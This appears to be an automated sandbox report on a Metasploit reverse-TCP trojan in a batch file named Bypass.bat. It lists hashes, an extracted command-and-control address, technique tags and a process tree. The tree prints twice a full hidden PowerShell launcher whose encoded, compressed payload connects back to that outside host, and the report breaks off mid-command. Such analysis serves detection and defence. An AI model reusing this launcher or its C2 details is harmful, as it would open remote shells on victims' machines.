metasploit | 81e676333f537eb2b3a2475150390fdd953cedeb51e951d1ddfb4402abfeba3a

General

Target

Bypass.bat
Size

6KB
MD5

bfbb7fd26c563711d61b4e1485bbe7b3
SHA1

a64ca6e65872c6884ee30825542736e790b1c1df
SHA256

81e676333f537eb2b3a2475150390fdd953cedeb51e951d1ddfb4402abfeba3a
SHA512

849ed3406f926d43a999fbb4fb7954c7a52691215061f25c414e62bb9c3613787a2e564cc72447b70b830feace61ace7e931c997cf0ca4e5a02c752bf1958c53
SSDEEP

192:+n2jh1hqT2yyZ7kxqFy700fH+OZQklkM1+4F6hdC:+n2jh1hs5E7kxnLmk1+zhdC

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

89.197.154.116:7810

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1268	powershell.exe
2216	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1268	powershell.exe
2216	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 1784	1736	cmd.exe	31
PID 1736 wrote to memory of 1784	1736	cmd.exe	31
PID 1736 wrote to memory of 1784	1736	cmd.exe	31
PID 1784 wrote to memory of 1268	1784	cmd.exe	32
PID 1784 wrote to memory of 1268	1784	cmd.exe	32
PID 1784 wrote to memory of 1268	1784	cmd.exe	32
PID 1268 wrote to memory of 2216	1268	powershell.exe	33
PID 1268 wrote to memory of 2216	1268	powershell.exe	33
PID 1268 wrote to memory of 2216	1268	powershell.exe	33
PID 1268 wrote to memory of 2216	1268	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Bypass.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEAUAA2AEsANgBXAFkAQwBBADcAVgBXACsAMgAvAGEAUwBCAEQAKwB2AFYATAAvAEIANgB0AEMAdwBsAFkASgBOAG8ALwBtAEoAVgBXADYAdABSADAAZQBTAFMAQQBRADgAdwBoAFEAZABOAHIAWQBpADcAMQBsADcAUwBYADIATwBvAFEAKwAvAHYAZQBiAHgAJwAnACsAJwAnAFQAZwBoAGEAdABMAEwAbgBWAFIATABKAFAAdQBZAG0AWgAzADkANQBwAHUAWgBYAGEAUwBSAEsAeQBpAFAAbABNAGgAOABVAEwANgAvAGYANgBmAHMAdgBoADYATwBjAGEAaQBvAGgAVAB2AFgAUABwAHEAVwBsAEkASwA3ADEAcAA0ADIAQwAvAGgAKwA2AGkAaQBmAEYAWABXAEcAVgBpAHUAYgBoADUAaABHADgAOQBOAFQASwA0ADEAagBFAG8AbABzAFgAbQA0AFMAZwBaAEsARQBoAEwAZQBNAGsAawBUAFYAbABCAC8ASwBPAEMAQQB4AE8AYgBpADYALwBVAHAAYwBvAFgAeABYAEMAbgArAFgAbQA0AHsAMQB9AGYAWQByAFkAVAAyADEAagBZAEQAWQBoAHkAZwBDAEoAUAA3AGwAMQB5AEYAMAB2AEgAJwAnACsAJwAnAHkAcwA2AEsAVQBhAEUAVwB2ADMAdwBwAGEAcgBPAEQAeQByAHgAOABkAHAAZABpAGwAcQBoAEYAWgA1AE0ASQBFAHAAWQA5AHgAbwBxAGEAOABsAE8AVABCAHcANAAyAEsANgBJAFcATwA5AFMATgBlAGMASQBYAG8AagB5AG0AVQBhADEAYQBIAGsAWQBKAFgAcABBAHUAVwBMAHMAbgBIAFMASQBDADcAaQBWAEYAdQBNAHsAMQB9AFQAZABXAEkAaQAwAGoAagBLAGIAaQBYAE4AWgBFAEoAcQBFAFkAYQA5AG0ATAB2AEkAOAAyAEsAUwBKAE0AVwBTAE0AcABNAEgAewAxAH0ATwBiAHsAMQB9AHYAOQBUAFoANwB2AFQAcgBOAEIASQAwAEoATwBWADIAJwAnACsAJwAnAEoARQBqAE0AVgB3ADYASgA3ADYAbABMAGsAbgBJAEwAUgB4ADQAagAxADIAUQB4AEIAeQAxAEgAeABEAFQAeQA1ADUAbwBHAFkAdgBkADgAUwBkAFIAQwBsAEQASgBXAFUAdgA2AEwARwBiAFYATAAxAGoAbAAyAGIAMQBWAFMAOQA1AFYAQQBxAGkAZABpAHIAUQBRAHgAZgBlAEcAZQBIAGUANgBsAGoARwBTAGEAeABSAGMAYwB7ADEAfQBYAGkAZwB3AFoAZAB4AEEAZgBEADcASwBTAEYAYwA1AFAAUgB4AEIAOABHAGgAOABRAEsAQgBuAGgAYgB5AGIANwBiAGQASQBlAEMAewAxAH0AMgB1AE0ASgAzAFcAcAAvAFYAbwB5AFMAMABvAEgAVABzAGUARAB4AEIAcQBhAEYAUQBaAHcAUwBiAGYANgBJAHUARgBMAHcAMAB2AE4AdQA2AGEAMwBXAEsAcgBrAHEASwBOAEoAagBEAGkAdQB7ADEAfQBFAGEAZgBlAC8ARQBuAC8ARwBRAEUASwB3AFMARwBUAE0AcQArAHsAMQB9ADIAUwBZAEwARwBoAEYANwBFACsARwBRAHUAagBsAGgAMQAnACcAKwAnACcAWgBlAEMAUQBoAGEATQBiAEMARQBwADUAMgBKAGQAOABFADgAdAA3AGoAYQBJAFoAeABOAEcAZgBDAHcAawB7ADEAfQBKAEkAYgB2ADYAaQBkAGgAVgBRADgANgBwAG8AcABaAFIANgBKAGsAUQB1AEIAVABjAEEAcgBpAEwAbgAyADMASgBrAHMAYwBtAHEAeABIAFgAVgBJAEMATwBCAGwAYwB5AEIAcgBZAFEARgBwAFEAbgBMAHAAWABXACcAJwArACcAJwBwAHMAOAB0ACcAJwArACcAJwBQAGwASABJAFMASwBGAHMATgBKAFUAbABKADYASwBlAFMAcABXADEASQBjAGcAaABuAHgAUwBnAHEASwBFAHIAJwAnACsAJwAnAHIAYgBRAHEAbgBnADIAMgBIAHgAeQBkACcAJwArACcAJwAxAE8AeQBnAFIAMQBjAFMASgB5AGMAMwBQAHQATwBaAHEANwBVAHkAMABlAEoAUwBKAE8AWABZAGcAcQBJAEQAQgB3AFYAcwBTAGwAbQBFAGwAQQBTAGsAcQBMAGUAcwBUAGMATwBOAFQAUABUAHkAKwArAEMASQBlAEYARwBZAFAAcwBBAFUAdgAzAEUAQQA1AFkAawBUAEEANABRAG4ASQBsAEIAawBlADMAdgBOAEQASwBEAGgASAB0AGMATQBWAEkAQwBEAEwAYgBzAHQARgBnADIASQBjAGkAcwBjAHUAUgBMAGIAbQB3AFQANwB7ADEAfQBpAHkAMwA3AG0AbQBaAEQAUgBYAHUASwBTAEEANwBMAG4ASgBRAFQAYgBZAFYAeQBVAGwAQgBHAE4AQgBkAFEAZwBpAFQARwBRADYAMwAvACcAJwArACcAJwA1ADgARwB2AHgAawBjADUAWQBNAGQAbQBGAFIAcwAwAFQAYgBHAFoAdQBoAEUAeQBBAEEAdgBjAHUAUQBzAG4AUgBIAFUASgBiAFAARwBJAEIAVwBEAFIAaQBIAHAAbwA0AEkAWQBmADEAcgBNADYAbwBIAC8AUQByADIAawBQAHcAJwAnACsAJwAnAFQAZQB5AFcAUQA4AGwAbwBTAFMAdgB0AE4AZgB3ADYAOABCAHYAUwBXAHAAdgBiAFIAOQA3AEYAKwBkAGUAVwAzAG4ARwB0AHAATgBkAHMASABDAE8ANgA5AHQAZgB1AGMAUgBlADUAMwByAGwASABUAGgAeQBRADYANAAvAHEAdwB1AHEAaABWAHAAOABhAFoAagAxAHcAVABXAE0AQQA0ADIARgBiAFQATgBxAG8ATgBhAEMARwBQAHcAbABjAFoAdgBUAHMAbAB1ADUATQBFAG8ATwB1AFcAKwBPAE8AYQA1AHYAZgAxAHQAVQBFAG0ARgBxAHYAdAAyADQATQBWAEsAdgBWAHIAMgByAEcARQB0AEMAYgAwAEkAcQAvAFIARgA0ADMAcABPAHUASABTAHgAaABEAFEAYgAyADYATgBOAHUASgBhAGIAVABaADIAYgBsADEAZgBUAHUAdQBOAHEAWgBqADEAdABMAHIAagBXAEEAeAA1AG8AbAB7ADEAfQBPAEwARgAxAFgAVAAvAHgAcwBOADMAWgBJACcAJwArACcAJwBHAFIAeQByADkAYgBaADMARgBTAHUAKwBhAEQAbABoAG0AWQA5ACcAJwArACcAJwA0AHYAcQBKAFYAVgArAGkATQA0AFMAcwA2AEcAewAxAH0AVQBNAFAAbgBGAHgASQB4AFIAVAB4ADkAaABmACcAJwArACcAJwA4AFgASAA3AGgAaAA3AFQAZAA5AEMANQBxAEYARgB5AGIAUQAvAGIASgBqADkAZgBzAE4AJwAnACsAJwAnAEUAdwArAGIAWABPAC8AdABFADkALwBXAFQAOABRADAATwB7ADEAfQBQAEcAbwBTAHEAZQByAG0AKwBzAEEANQBvADEAMQBxADMAKwBoAEcALwBXADIAUgA3ADcAeAA2AFIAcQBBACcAJwArACcAJwBhADMASwBFAC8AVwB1AFEAOABhADIAcQBHAHkAeABBAHgAdgA2AEkAewAxAH0ASQA5AGQAbgBsAFQAeAAwAHUAVABJAEIASgBuAEcAOQBBADQAMQBnADgAbQBxADAAVwBPAHcAUAB4AGgAVwBPAFIAcQB4ADcAZwAxAEcAbAA5AE4ATgBRADkAYwByAGsAMQA0AGQAdABRAHcAKwBiAHYAcQBvAEQAKwBMAFkATgAvAHMAWQBKAGYAZgAyACcAJwArACcAJwBOADEAdQB2AGoARAB7ADEAfQB1AGoAVAA5ADEASgB3AHQAOQBkAE0ATwBPAGQATgB2AHEAOQA0AEkAYgBlAFcAZAA5AEYAYwBxAC8ANgA1AFoAOQA0AFUANAByAGEALwBmAHEANgBQAGgAeQBUAEUAYwBoAFIAMABOAGQASAAzADAAQQBVAHMAeQBHAE4AQgBLADEANgByAHgAQQBQADQAMQBrADIAWAB7ADEAfQAvAHIAcABBAE0AYQAzAHYARQBlAEsAMAByAGQASABDAGMAQgBKAGcAQgBZAGEARABjADUAMgBuAGIANABIAEYAagBWADgARgA3AG4ARQBvAE4AVgBaAFUAUABnAFMAVwBKAEkAOABLAGcAZAAwAEoAMwB7ADEAfQBlAG0ATwBHAE8ATwB1ADcAQgA5AFoAcQBZAGYAbQBsAGIAVQBVADIAZQBHAEcANwBhADEAVABMADQAMAAwADUAVgBGAFEAZQAyAG8AcwArAGQATABwADYAUgBTADgAaABCAFMAUwA5AEMANQBmAGsAcwBnACcAJwArACcAJwBYAFEAYwBsADQAcQBCAGsARwBOAEEAVABqAHcAYQBoAHYAYwArAFgAdABkADcAUAA0AGEAcQBOAHUAagBaAFYAawBTADUASABZADUATQBiAFoAMQBqAGoAWQBvAHcAdABGAFYAZgA4ADQAWABQAEIAeQBFAEYARABDAGYAZwBQAFkAYQA5AGoAQgAyAFUAdQBvAE8AVgBBAEQAcwAwAG8AZwBFAFQAUQA1AFoALwB2ADQAWgBSAGQANwBKAE0ATQArAGUAZwBCAGIAQgAnACcAKwAnACcAYQA0ACsAawA2ADgAJwAnACsAJwAnAEcAeQBSAEwAUQBQAHkAQgAzAFMAawBIAEkAagByAHIAZgBvAFEAdgAzADMAcwBVAGYASgBjADYAdQBuAEEAWAB3AHsAMQB9AC8AdABYADQAagB5AHQALwBXAGIAMwBUAFcAUQB5AFMAbAB0ADAAZgBsAGwAOQB2AHIARABYAEMAUAA0AGMAQQBtAE4ATQBCAFEAZwA2AFUASgBZAFoAeQBSADQASwByAHcAQwB4AFMANQBhADkAQwBFAE4AMABJAEIATQBXAHUAMAA4ACsAbwBLADkAUwBjAGQAQwBGAEIAOQBtADIATgBmAHcARABHAEYAOQBRAGYATABrAEwAQQBBAEEAewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwB6ACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEAUAA2AEsANgBXAFkAQwBBADcAVgBXACsAMgAvAGEAUwBCAEQAKwB2AFYATAAvAEIANgB0AEMAdwBsAFkASgBOAG8ALwBtAEoAVgBXADYAdABSADAAZQBTAFMAQQBRADgAdwBoAFEAZABOAHIAWQBpADcAMQBsADcAUwBYADIATwBvAFEAKwAvAHYAZQBiAHgAJwAnACsAJwAnAFQAZwBoAGEAdABMAEwAbgBWAFIATABKAFAAdQBZAG0AWgAzADkANQBwAHUAWgBYAGEAUwBSAEsAeQBpAFAAbABNAGgAOABVAEwANgAvAGYANgBmAHMAdgBoADYATwBjAGEAaQBvAGgAVAB2AFgAUABwAHEAVwBsAEkASwA3ADEAcAA0ADIAQwAvAGgAKwA2AGkAaQBmAEYAWABXAEcAVgBpAHUAYgBoADUAaABHADgAOQBOAFQASwA0ADEAagBFAG8AbABzAFgAbQA0AFMAZwBaAEsARQBoAEwAZQBNAGsAawBUAFYAbABCAC8ASwBPAEMAQQB4AE8AYgBpADYALwBVAHAAYwBvAFgAeABYAEMAbgArAFgAbQA0AHsAMQB9AGYAWQByAFkAVAAyADEAagBZAEQAWQBoAHkAZwBDAEoAUAA3AGwAMQB5AEYAMAB2AEgAJwAnACsAJwAnAHkAcwA2AEsAVQBhAEUAVwB2ADMAdwBwAGEAcgBPAEQAeQByAHgAOABkAHAAZABpAGwAcQBoAEYAWgA1AE0ASQBFAHAAWQA5AHgAbwBxAGEAOABsAE8AVABCAHcANAAyAEsANgBJAFcATwA5AFMATgBlAGMASQBYAG8AagB5AG0AVQBhADEAYQBIAGsAWQBKAFgAcABBAHUAVwBMAHMAbgBIAFMASQBDADcAaQBWAEYAdQBNAHsAMQB9AFQAZABXAEkAaQAwAGoAagBLAGIAaQBYAE4AWgBFAEoAcQBFAFkAYQA5AG0ATAB2AEkAOAAyAEsAUwBKAE0AVwBTAE0AcABNAEgAewAxAH0ATwBiAHsAMQB9AHYAOQBUAFoANwB2AFQAcgBOAEIASQAwAEoATwBWADIAJwAnACsAJwAnAEoARQBqAE0AVgB3ADYASgA3ADYAbABMAGsAbgBJAEwAUgB4ADQAagAxADIAUQB4AEIAeQAxAEgAeABEAFQAeQA1ADUAbwBHAFkAdgBkADgAUwBkAFIAQwBsAEQASgBXAFUAdgA2AEwARwBiAFYATAAxAGoAbAAyAGIAMQBWAFMAOQA1AFYAQQBxAGkAZABpAHIAUQBRAHgAZgBlAEcAZQBIAGUANgBsAGoARwBTAGEAeABSAGMAYwB7ADEAfQBYAGkAZwB3AFoAZAB4AEEAZgBEADcASwBTAEYAYwA1AFAAUgB4AEIAOABHAGgAOABRAEsAQgBuAGgAYgB5AGIANwBiAGQASQBlAEMAewAxAH0AMgB1AE0ASgAzAFcAcAAvAFYAbwB5AFMAMABvAEgAVABzAGUARAB4AEIAcQBhAEYAUQBaAHcAUwBiAGYANgBJAHUARgBMAHcAMAB2AE4AdQA2AGEAMwBXAEsAcgBrAHEASwBOAEoAagBEAGkAdQB7ADEAfQBFAGEAZgBlAC8ARQBuAC8ARwBRAEUASwB3AFMARwBUAE0AcQArAHsAMQB9ADIAUwBZAEwARwBoAEYANwBFACsARwBRAHUAagBsAGgAMQAnACcAKwAnACcAWgBlAEMAUQBoAGEATQBiAEMARQBwADUAMgBKAGQAOABFADgAdAA3AGoAYQBJAFoAeABOAEcAZgBDAHcAawB7ADEAfQBKAEkAYgB2ADYAaQBkAGgAVgBRADgANgBwAG8AcABaAFIANgBKAGsAUQB1AEIAVABjAEEAcgBpAEwAbgAyADMASgBrAHMAYwBtAHEAeABIAFgAVgBJAEMATwBCAGwAYwB5AEIAcgBZAFEARgBwAFEAbgBMAHAAWABXACcAJwArACcAJwBwAHMAOAB0ACcAJwArACcAJwBQAGwASABJAFMASwBGAHMATgBKAFUAbABKADYASwBlAFMAcABXADEASQBjAGcAaABuAHgAUwBnAHEASwBFAHIAJwAnACsAJwAnAHIAYgBRAHEAbgBnADIAMgBIAHgAeQBkACcAJwArACcAJwAxAE8AeQBnAFIAMQBjAFMASgB5AGMAMwBQAHQATwBaAHEANwBVAHkAMABlAEoAUwBKAE8AWABZAGcAcQBJAEQAQgB3AFYAcwBTAGwAbQBFAGwAQQBTAGsAcQBMAGUAcwBUAGMATwBOAFQAUABUAHkAKwArAEMASQBlAEYARwBZAFAAcwBBAFUAdgAzAEUAQQA1AFkAawBUAEEANABRAG4ASQBsAEIAawBlADMAdgBOAEQASwBEAGgASAB0AGMATQBWAEkAQwBEAEwAYgBzAHQARgBnADIASQBjAGkAcwBjAHUAUgBMAGIAbQB3AFQANwB7ADEAfQBpAHkAMwA3AG0AbQBaAEQAUgBYAHUASwBTAEEANwBMAG4ASgBRAFQAYgBZAFYAeQBVAGwAQgBHAE4AQgBkAFEAZwBpAFQARwBRADYAMwAvACcAJwArACcAJwA1ADgARwB2AHgAawBjADUAWQBNAGQAbQBGAFIAcwAwAFQAYgBHAFoAdQBoAEUAeQBBAEEAdgBjAHUAUQBzAG4AUgBIAFUASgBiAFAARwBJAEIAVwBEAFIAaQBIAHAAbwA0AEkAWQBmADEAcgBNADYAbwBIAC8AUQByADIAawBQAHcAJwAnACsAJwAnAFQAZQB5AFcAUQA4AGwAbwBTAFMAdgB0AE4AZgB3ADYAOABCAHYAUwBXAHAAdgBiAFIAOQA3AEYAKwBkAGUAVwAzAG4ARwB0AHAATgBkAHMASABDAE8ANgA5AHQAZgB1AGMAUgBlADUAMwByAGwASABUAGgAeQBRADYANAAvAHEAdwB1AHEAaABWAHAAOABhAFoAagAxAHcAVABXAE0AQQA0ADIARgBiAFQATgBxAG8ATgBhAEMARwBQAHcAbABjAFoAdgBUAHMAbAB1ADUATQBFAG8ATwB1AFcAKwBPAE8AYQA1AHYAZgAxAHQAVQBFAG0ARgBxAHYAdAAyADQATQBWAEsAdgBWAHIAMgByAEcARQB0AEMAYgAwAEkAcQAvAFIARgA0ADMAcABPAHUASABTAHgAaABEAFEAYgAyADYATgBOAHUASgBhAGIAVABaADIAYgBsADEAZgBUAHUAdQBOAHEAWgBqADEAdABMAHIAagBXAEEAeAA1AG8AbAB7ADEAfQBPAEwARgAxAFgAVAAvAHgAcwBOADMAWgBJACcAJwArACcAJwBHAFIAeQByADkAYgBaADMARgBTAHUAKwBhAEQAbABoAG0AWQA5ACcAJwArACcAJwA0AHYAcQBKAFYAVgArAGkATQA0AFMAcwA2AEcAewAxAH0AVQBNAFAAbgBGAHgASQB4AFIAVAB4ADkAaABmACcAJwArACcAJwA4AFgASAA3AGgAaAA3AFQAZAA5AEMANQBxAEYARgB5AGIAUQAvAGIASgBqADkAZgBzAE4AJwAnACsAJwAnAEUAdwArAGIAWABPAC8AdABFADkALwBXAFQAOABRADAATwB7ADEAfQBQAEcAbwBTAHEAZQByAG0AKwBzAEEANQBvADEAMQBxADMAKwBoAEcALwBXADIAUgA3ADcAeAA2AFIAcQBBACcAJwArACcAJwBhADMASwBFAC8AVwB1AFEAOABhADIAcQBHAHkAeABBAHgAdgA2AEkAewAxAH0ASQA5AGQAbgBsAFQAeAAwAHUAVABJAEIASgBuAEcAOQBBADQAMQBnADgAbQBxADAAVwBPAHcAUAB4AGgAVwBPAFIAcQB4ADcAZwAxAEcAbAA5AE4ATgBRADkAYwByAGsAMQA0AGQAdABRAHcAKwBiAHYAcQBvAEQAKwBMAFkATgAvAHMAWQBKAGYAZgAyACcAJwArACcAJwBOADEAdQB2AGoARAB7ADEAfQB1AGoAVAA5ADEASgB3AHQAOQBkAE0ATwBPAGQATgB2AHEAOQA0AEkAYgBlAFcAZAA5AEYAYwBxAC8ANgA1AFoAOQA0AFUANAByAGEALwBmAHEANgBQAGgAeQBUAEUAYwBoAFIAMABOAGQASAAzADAAQQBVAHMAeQBHAE4AQgBLADEANgByAHgAQQBQADQAMQBrADIAWAB7ADEAfQAvAHIAcABBAE0AYQAzAHYARQBlAEsAMAByAGQASABDAGMAQgBKAGcAQgBZAGEARABjADUAMgBuAGIANABIAEYAagBWADgARgA3AG4ARQBvAE4AVgBaAFUAUABnAFMAVwBKAEkAOABLAGcAZAAwAEoAMwB7ADEAfQBlAG0ATwBHAE8ATwB1ADcAQgA5AFoAcQBZAGYAbQBsAGIAVQBVADIAZQBHAEcANwBhADEAVABMADQAMAAwADUAVgBGAFEAZQAyAG8AcwArAGQATABwADYAUgBTADgAaABCAFMAUwA5AEMANQBmAGsAcwBnACcAJwArACcAJwBYAFEAYwBsADQAcQBCAGsARwBOAEEAVABqAHcAYQBoAHYAYwArAFgAdABkADcAUAA0AGEAcQBOAHUAagBaAFYAawBTADUASABZADUATQBiAFoAMQBqAGoAWQBvAHcAdABGAFYAZgA4ADQAWABQAEIAeQBFAEYARABDAGYAZwBQAFkAYQA5AGoAQgAyAFUAdQBvAE8AVgBBAEQAcwAwAG8AZwBFAFQAUQA1AFoALwB2ADQAWgBSAGQANwBKAE0ATQArAGUAZwBCAGIAQgAnACcAKwAnACcAYQA0ACsAawA2ADgAJwAnACsAJwAnAEcAeQBSAEwAUQBQAHkAQgAzAFMAawBIAEkAagByAHIAZgBvAFEAdgAzADMAcwBVAGYASgBjADYAdQBuAEEAWAB3AHsAMQB9AC8AdABYADQAagB5AHQALwBXAGIAMwBUAFcAUQB5AFMAbAB0ADAAZgBsAGwAOQB2AHIARABYAEMAUAA0AGMAQQBtAE4ATQBCAFEAZwA2AFUASgBZAFoAeQBSADQASwByAHcAQwB4AFMANQBhADkAQwBFAE4AMABJAEIATQBXAHUAMAA4ACsAbwBLADkAUwBjAGQAQwBGAEIAOQBtADIATgBmAHcARABHAEYAOQBRAGYATABrAEwAQQBBAEEAewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwB6ACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1268
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object 